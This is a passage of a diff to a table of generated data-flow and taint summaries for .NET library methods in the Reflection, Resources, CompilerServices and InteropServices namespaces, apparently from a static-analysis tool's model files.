System.Numerics;Vector;StoreUnsafe;(System.Numerics.Vector,T);Argument[1];ReturnValue;value;dfc-generated | | System.Numerics;Vector;Truncate;(System.Numerics.Vector);Argument[0];ReturnValue;value;dfc-generated | | System.Numerics;Vector;Truncate;(System.Numerics.Vector);Argument[0];ReturnValue;value;dfc-generated | | System.Numerics;Vector;WithElement;(System.Numerics.Vector,System.Int32,T);Argument[0];ReturnValue;value;dfc-generated | @@ -15867,6 +15788,7 @@ summary | System.Reflection.Emit;ParameterBuilder;get_Name;();Argument[this];ReturnValue;taint;df-generated | | System.Reflection.Emit;PersistedAssemblyBuilder;DefineDynamicModuleCore;(System.String);Argument[0];ReturnValue.SyntheticField[System.Reflection.Emit.ModuleBuilderImpl._name];value;dfc-generated | | System.Reflection.Emit;PersistedAssemblyBuilder;GenerateMetadata;(System.Reflection.Metadata.BlobBuilder,System.Reflection.Metadata.BlobBuilder);Argument[this];ReturnValue;taint;df-generated | +| System.Reflection.Emit;PersistedAssemblyBuilder;GenerateMetadata;(System.Reflection.Metadata.BlobBuilder,System.Reflection.Metadata.BlobBuilder,System.Reflection.Metadata.Ecma335.MetadataBuilder);Argument[this];Argument[2];taint;df-generated | | System.Reflection.Emit;PersistedAssemblyBuilder;GenerateMetadata;(System.Reflection.Metadata.BlobBuilder,System.Reflection.Metadata.BlobBuilder,System.Reflection.Metadata.Ecma335.MetadataBuilder);Argument[this];ReturnValue;taint;df-generated | | System.Reflection.Emit;PersistedAssemblyBuilder;PersistedAssemblyBuilder;(System.Reflection.AssemblyName,System.Reflection.Assembly,System.Collections.Generic.IEnumerable);Argument[1];Argument[this];taint;df-generated | | System.Reflection.Emit;PersistedAssemblyBuilder;get_FullName;();Argument[this];ReturnValue;taint;df-generated | @@ -16027,11 +15949,8 @@ summary | System.Reflection.Metadata.Ecma335;PortablePdbBuilder;Serialize;(System.Reflection.Metadata.BlobBuilder);Argument[this];ReturnValue;taint;df-generated | | System.Reflection.Metadata.Ecma335;ReturnTypeEncoder;ReturnTypeEncoder;(System.Reflection.Metadata.BlobBuilder);Argument[0];Argument[this].Property[System.Reflection.Metadata.Ecma335.ReturnTypeEncoder.Builder];value;dfc-generated | | System.Reflection.Metadata.Ecma335;ScalarEncoder;ScalarEncoder;(System.Reflection.Metadata.BlobBuilder);Argument[0];Argument[this].Property[System.Reflection.Metadata.Ecma335.ScalarEncoder.Builder];value;dfc-generated | -| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeFieldSignature;(System.Reflection.Metadata.BlobReader);Argument[0];ReturnValue;value;dfc-generated | -| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeLocalSignature;(System.Reflection.Metadata.BlobReader);Argument[0];ReturnValue;value;dfc-generated | -| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeMethodSignature;(System.Reflection.Metadata.BlobReader);Argument[0];ReturnValue;value;dfc-generated | -| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeMethodSpecificationSignature;(System.Reflection.Metadata.BlobReader);Argument[0];ReturnValue;value;dfc-generated | -| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeType;(System.Reflection.Metadata.BlobReader,System.Boolean);Argument[0];ReturnValue;value;dfc-generated | +| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeFieldSignature;(System.Reflection.Metadata.BlobReader);Argument[this];ReturnValue;taint;df-generated | +| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeType;(System.Reflection.Metadata.BlobReader,System.Boolean);Argument[this];ReturnValue;taint;df-generated | | System.Reflection.Metadata.Ecma335;SignatureDecoder;SignatureDecoder;(System.Reflection.Metadata.ISignatureTypeProvider,System.Reflection.Metadata.MetadataReader,TGenericContext);Argument[0];Argument[this];taint;df-generated | | System.Reflection.Metadata.Ecma335;SignatureDecoder;SignatureDecoder;(System.Reflection.Metadata.ISignatureTypeProvider,System.Reflection.Metadata.MetadataReader,TGenericContext);Argument[1];Argument[this];taint;df-generated | | System.Reflection.Metadata.Ecma335;SignatureDecoder;SignatureDecoder;(System.Reflection.Metadata.ISignatureTypeProvider,System.Reflection.Metadata.MetadataReader,TGenericContext);Argument[2];Argument[this];taint;df-generated | @@ -16041,7 +15960,7 @@ summary | System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;Array;(System.Action,System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;Array;(System.Action,System.Action);Argument[this];Argument[0].Parameter[0];value;dfc-generated | | System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;Array;(System.Action,System.Action);Argument[this];Argument[0].Parameter[0];value;hq-generated | -| System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;Array;(System.Reflection.Metadata.Ecma335.SignatureTypeEncoder,System.Reflection.Metadata.Ecma335.ArrayShapeEncoder);Argument[this];ReturnValue;value;dfc-generated | +| System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;Array;(System.Reflection.Metadata.Ecma335.SignatureTypeEncoder,System.Reflection.Metadata.Ecma335.ArrayShapeEncoder);Argument[this];Argument[0];value;dfc-generated | | System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;Pointer;();Argument[this];ReturnValue;value;dfc-generated | | System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;SZArray;();Argument[this];ReturnValue;value;dfc-generated | | System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;SignatureTypeEncoder;(System.Reflection.Metadata.BlobBuilder);Argument[0];Argument[this].Property[System.Reflection.Metadata.Ecma335.SignatureTypeEncoder.Builder];value;dfc-generated | @@ -16082,7 +16001,6 @@ summary | System.Reflection.Metadata;BlobBuilder;LinkSuffix;(System.Reflection.Metadata.BlobBuilder);Argument[this];Argument[0];taint;df-generated | | System.Reflection.Metadata;BlobBuilder;ReserveBytes;(System.Int32);Argument[this];ReturnValue;taint;df-generated | | System.Reflection.Metadata;BlobBuilder;TryWriteBytes;(System.IO.Stream,System.Int32);Argument[0];Argument[this];taint;df-generated | -| System.Reflection.Metadata;BlobBuilder;WriteContentTo;(System.Reflection.Metadata.BlobWriter);Argument[0];ReturnValue;value;dfc-generated | | System.Reflection.Metadata;BlobContentId;BlobContentId;(System.Guid,System.UInt32);Argument[0];Argument[this].SyntheticField[System.Reflection.Metadata.BlobContentId._guid];value;dfc-generated | | System.Reflection.Metadata;BlobContentId;get_Guid;();Argument[this].SyntheticField[System.Reflection.Metadata.BlobContentId._guid];ReturnValue;value;dfc-generated | | System.Reflection.Metadata;BlobReader;ReadConstant;(System.Reflection.Metadata.ConstantTypeCode);Argument[this];ReturnValue;taint;df-generated | @@ -16434,8 +16352,8 @@ summary | System.Reflection.PortableExecutable;PEReader;PEReader;(System.IO.Stream,System.Reflection.PortableExecutable.PEStreamOptions,System.Int32);Argument[0];Argument[this];taint;df-generated | | System.Reflection.PortableExecutable;PEReader;TryOpenAssociatedPortablePdb;(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String);Argument[0];Argument[1].Parameter[0];taint;dfc-generated | | System.Reflection.PortableExecutable;PEReader;TryOpenAssociatedPortablePdb;(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String);Argument[0];Argument[1].Parameter[0];taint;hq-generated | -| System.Reflection.PortableExecutable;PEReader;TryOpenAssociatedPortablePdb;(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String);Argument[0];ReturnValue;taint;dfc-generated | -| System.Reflection.PortableExecutable;PEReader;TryOpenAssociatedPortablePdb;(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String);Argument[0];ReturnValue;taint;hq-generated | +| System.Reflection.PortableExecutable;PEReader;TryOpenAssociatedPortablePdb;(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String);Argument[0];Argument[3];taint;dfc-generated | +| System.Reflection.PortableExecutable;PEReader;TryOpenAssociatedPortablePdb;(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String);Argument[0];Argument[3];taint;hq-generated | | System.Reflection.PortableExecutable;PEReader;TryOpenAssociatedPortablePdb;(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String);Argument[1];Argument[1].Parameter[delegate-self];value;dfc-generated | | System.Reflection.PortableExecutable;PEReader;TryOpenAssociatedPortablePdb;(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Reflection.PortableExecutable;PEReader;get_PEHeaders;();Argument[this];ReturnValue;taint;df-generated | @@ -16476,11 +16394,7 @@ summary | System.Reflection;AssemblyName;get_EscapedCodeBase;();Argument[this];ReturnValue;taint;df-generated | | System.Reflection;Binder;BindToField;(System.Reflection.BindingFlags,System.Reflection.FieldInfo[],System.Object,System.Globalization.CultureInfo);Argument[1].Element;ReturnValue;value;dfc-generated | | System.Reflection;Binder;BindToMethod;(System.Reflection.BindingFlags,System.Reflection.MethodBase[],System.Object[],System.Reflection.ParameterModifier[],System.Globalization.CultureInfo,System.String[],System.Object);Argument[1].Element;ReturnValue;value;dfc-generated | -| System.Reflection;Binder;BindToMethod;(System.Reflection.BindingFlags,System.Reflection.MethodBase[],System.Object[],System.Reflection.ParameterModifier[],System.Globalization.CultureInfo,System.String[],System.Object);Argument[2].Element;ReturnValue.Element;value;dfc-generated | -| System.Reflection;Binder;BindToMethod;(System.Reflection.BindingFlags,System.Reflection.MethodBase[],System.Object[],System.Reflection.ParameterModifier[],System.Globalization.CultureInfo,System.String[],System.Object);Argument[2];ReturnValue;value;dfc-generated | | System.Reflection;Binder;ReorderArgumentArray;(System.Object[],System.Object);Argument[0].Element.Element;Argument[0].Element;value;dfc-generated | -| System.Reflection;Binder;ReorderArgumentArray;(System.Object[],System.Object);Argument[0].Element.Element;ReturnValue.Element;value;dfc-generated | -| System.Reflection;Binder;ReorderArgumentArray;(System.Object[],System.Object);Argument[0];ReturnValue;value;dfc-generated | | System.Reflection;Binder;SelectMethod;(System.Reflection.BindingFlags,System.Reflection.MethodBase[],System.Type[],System.Reflection.ParameterModifier[]);Argument[1].Element;ReturnValue;value;dfc-generated | | System.Reflection;Binder;SelectProperty;(System.Reflection.BindingFlags,System.Reflection.PropertyInfo[],System.Type,System.Type[],System.Reflection.ParameterModifier[]);Argument[1].Element;ReturnValue;value;dfc-generated | | System.Reflection;ConstructorInvoker;Invoke;();Argument[this];ReturnValue;taint;df-generated | @@ -16700,7 +16614,7 @@ summary | System.Resources;ResourceManager;ResourceManager;(System.String,System.Reflection.Assembly,System.Type);Argument[1];Argument[this].Field[System.Resources.ResourceManager.MainAssembly];value;dfc-generated | | System.Resources;ResourceReader;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Resources;ResourceReader;GetEnumerator;();Argument[this];ReturnValue;taint;df-generated | -| System.Resources;ResourceReader;GetResourceData;(System.String,System.String,System.Byte[]);Argument[this];ReturnValue;taint;df-generated | +| System.Resources;ResourceReader;GetResourceData;(System.String,System.String,System.Byte[]);Argument[this];Argument[1];taint;df-generated | | System.Resources;ResourceReader;ResourceReader;(System.IO.Stream);Argument[0];Argument[this];taint;df-generated | | System.Resources;ResourceSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Resources;ResourceSet;GetEnumerator;();Argument[this];ReturnValue;taint;df-generated | @@ -16710,41 +16624,21 @@ summary | System.Resources;ResourceWriter;ResourceWriter;(System.IO.Stream);Argument[0];Argument[this];taint;df-generated | | System.Resources;ResourceWriter;ResourceWriter;(System.String);Argument[0];Argument[this];taint;df-generated | | System.Resources;ResourceWriter;set_TypeNameConverter;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;MoveNext;(TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;Start;(TStateMachine);Argument[0];ReturnValue;value;dfc-generated | +| System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | | System.Runtime.CompilerServices;AsyncTaskMethodBuilder;get_Task;();Argument[this];ReturnValue;taint;df-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | +| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | | System.Runtime.CompilerServices;AsyncTaskMethodBuilder;SetResult;(TResult);Argument[0];Argument[this].SyntheticField[System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1.m_task].Property[System.Threading.Tasks.Task`1.Result];value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;Start;(TStateMachine);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.CompilerServices;AsyncTaskMethodBuilder;get_Task;();Argument[this].SyntheticField[System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1.m_task];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;Start;(TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | +| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | | System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;SetResult;(TResult);Argument[0];Argument[this];taint;df-generated | -| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;Start;(TStateMachine);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;get_Task;();Argument[this];ReturnValue;taint;df-generated | -| System.Runtime.CompilerServices;AsyncVoidMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncVoidMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncVoidMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncVoidMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncVoidMethodBuilder;Start;(TStateMachine);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.CompilerServices;CallSite;get_Binder;();Argument[this];ReturnValue;taint;df-generated | | System.Runtime.CompilerServices;ConditionalWeakTable+CreateValueCallback;BeginInvoke;(TKey,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Runtime.CompilerServices;ConditionalWeakTable;Clear;();Argument[this].WithoutElement;Argument[this];value;manual | @@ -16787,17 +16681,11 @@ summary | System.Runtime.CompilerServices;IRuntimeVariables;get_Item;(System.Int32);Argument[this];ReturnValue;taint;df-generated | | System.Runtime.CompilerServices;ITuple;get_Item;(System.Int32);Argument[this];ReturnValue;taint;df-generated | | System.Runtime.CompilerServices;NullableAttribute;NullableAttribute;(System.Byte[]);Argument[0];Argument[this].Field[System.Runtime.CompilerServices.NullableAttribute.NullableFlags];value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;Start;(TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | +| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | | System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;SetResult;(TResult);Argument[0];Argument[this];taint;df-generated | -| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;Start;(TStateMachine);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;get_Task;();Argument[this];ReturnValue;taint;df-generated | | System.Runtime.CompilerServices;ReadOnlyCollectionBuilder;Add;(System.Object);Argument[0];Argument[this].Element;value;manual | | System.Runtime.CompilerServices;ReadOnlyCollectionBuilder;Add;(T);Argument[0];Argument[this].Element;value;manual | @@ -16838,15 +16726,6 @@ summary | System.Runtime.CompilerServices;TaskAwaiter;UnsafeOnCompleted;(System.Action);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Runtime.CompilerServices;TupleElementNamesAttribute;TupleElementNamesAttribute;(System.String[]);Argument[0];Argument[this].SyntheticField[System.Runtime.CompilerServices.TupleElementNamesAttribute._transformNames];value;dfc-generated | | System.Runtime.CompilerServices;TupleElementNamesAttribute;get_TransformNames;();Argument[this].SyntheticField[System.Runtime.CompilerServices.TupleElementNamesAttribute._transformNames];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;Add;(T,System.Int32);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;Add;(T,System.IntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;Add;(T,System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;AddByteOffset;(T,System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;Copy;(T,System.Void*);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;Subtract;(T,System.Int32);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;Subtract;(T,System.IntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;Subtract;(T,System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;Unsafe;SubtractByteOffset;(T,System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.CompilerServices;ValueTaskAwaiter;OnCompleted;(System.Action);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Runtime.CompilerServices;ValueTaskAwaiter;UnsafeOnCompleted;(System.Action);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Runtime.CompilerServices;ValueTaskAwaiter;GetResult;();Argument[this];ReturnValue;taint;df-generated | @@ -16951,8 +16830,8 @@ summary | System.Runtime.InteropServices.Marshalling;SpanMarshaller;GetManagedValuesDestination;(System.Span);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.InteropServices.Marshalling;StrategyBasedComWrappers;CreateObject;(System.IntPtr,System.Runtime.InteropServices.CreateObjectFlags);Argument[0];ReturnValue;taint;df-generated | | System.Runtime.InteropServices.Marshalling;Utf8StringMarshaller+ManagedToUnmanagedIn;ToUnmanaged;();Argument[this];ReturnValue;taint;df-generated | -| System.Runtime.InteropServices.Marshalling;VirtualMethodTableInfo;Deconstruct;(System.Void*,System.Void**);Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.ThisPointer];ReturnValue;value;dfc-generated | -| System.Runtime.InteropServices.Marshalling;VirtualMethodTableInfo;Deconstruct;(System.Void*,System.Void**);Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.VirtualMethodTable];ReturnValue;value;dfc-generated | +| System.Runtime.InteropServices.Marshalling;VirtualMethodTableInfo;Deconstruct;(System.Void*,System.Void**);Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.ThisPointer];Argument[0];value;dfc-generated | +| System.Runtime.InteropServices.Marshalling;VirtualMethodTableInfo;Deconstruct;(System.Void*,System.Void**);Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.VirtualMethodTable];Argument[1];value;dfc-generated | | System.Runtime.InteropServices.Marshalling;VirtualMethodTableInfo;VirtualMethodTableInfo;(System.Void*,System.Void**);Argument[0];Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.ThisPointer];value;dfc-generated | | System.Runtime.InteropServices.Marshalling;VirtualMethodTableInfo;VirtualMethodTableInfo;(System.Void*,System.Void**);Argument[1];Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.VirtualMethodTable];value;dfc-generated | | System.Runtime.InteropServices.ObjectiveC;ObjectiveCMarshal+UnhandledExceptionPropagationHandler;BeginInvoke;(System.Exception,System.RuntimeMethodHandle,System.IntPtr,System.AsyncCallback,System.Object);Argument[3];Argument[3].Parameter[delegate-self];value;hq-generated | @@ -16989,11 +16868,10 @@ summary | System.Runtime.InteropServices;ManagedToNativeComInteropStubAttribute;ManagedToNativeComInteropStubAttribute;(System.Type,System.String);Argument[1];Argument[this].Property[System.Runtime.InteropServices.ManagedToNativeComInteropStubAttribute.MethodName];value;dfc-generated | | System.Runtime.InteropServices;Marshal;InitHandle;(System.Runtime.InteropServices.SafeHandle,System.IntPtr);Argument[1];Argument[0].Field[System.Runtime.InteropServices.SafeHandle.handle];value;dfc-generated | | System.Runtime.InteropServices;MemoryMarshal;CreateFromPinnedArray;(T[],System.Int32,System.Int32);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Runtime.InteropServices;MemoryMarshal;CreateSpan;(T,System.Int32);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.InteropServices;MemoryMarshal;ToEnumerable;(System.ReadOnlyMemory);Argument[0].Property[System.ReadOnlyMemory`1.Span].Element;ReturnValue.Element;value;dfc-generated | -| System.Runtime.InteropServices;MemoryMarshal;TryGetMemoryManager;(System.ReadOnlyMemory,TManager);Argument[0];ReturnValue;taint;df-generated | -| System.Runtime.InteropServices;MemoryMarshal;TryGetMemoryManager;(System.ReadOnlyMemory,TManager,System.Int32,System.Int32);Argument[0];ReturnValue;taint;df-generated | -| System.Runtime.InteropServices;MemoryMarshal;TryGetString;(System.ReadOnlyMemory,System.String,System.Int32,System.Int32);Argument[0].SyntheticField[System.ReadOnlyMemory`1._object];ReturnValue;value;dfc-generated | +| System.Runtime.InteropServices;MemoryMarshal;TryGetMemoryManager;(System.ReadOnlyMemory,TManager);Argument[0];Argument[1];taint;df-generated | +| System.Runtime.InteropServices;MemoryMarshal;TryGetMemoryManager;(System.ReadOnlyMemory,TManager,System.Int32,System.Int32);Argument[0];Argument[1];taint;df-generated | +| System.Runtime.InteropServices;MemoryMarshal;TryGetString;(System.ReadOnlyMemory,System.String,System.Int32,System.Int32);Argument[0].SyntheticField[System.ReadOnlyMemory`1._object];Argument[1];value;dfc-generated | | System.Runtime.InteropServices;NFloat;Clamp;(System.Runtime.InteropServices.NFloat,System.Runtime.InteropServices.NFloat,System.Runtime.InteropServices.NFloat);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.InteropServices;NFloat;Clamp;(System.Runtime.InteropServices.NFloat,System.Runtime.InteropServices.NFloat,System.Runtime.InteropServices.NFloat);Argument[1];ReturnValue;value;dfc-generated | | System.Runtime.InteropServices;NFloat;Clamp;(System.Runtime.InteropServices.NFloat,System.Runtime.InteropServices.NFloat,System.Runtime.InteropServices.NFloat);Argument[2];ReturnValue;value;dfc-generated | @@ -17020,13 +16898,12 @@ summary | System.Runtime.InteropServices;OSPlatform;Create;(System.String);Argument[0];ReturnValue.SyntheticField[System.Runtime.InteropServices.OSPlatform.Name];value;dfc-generated | | 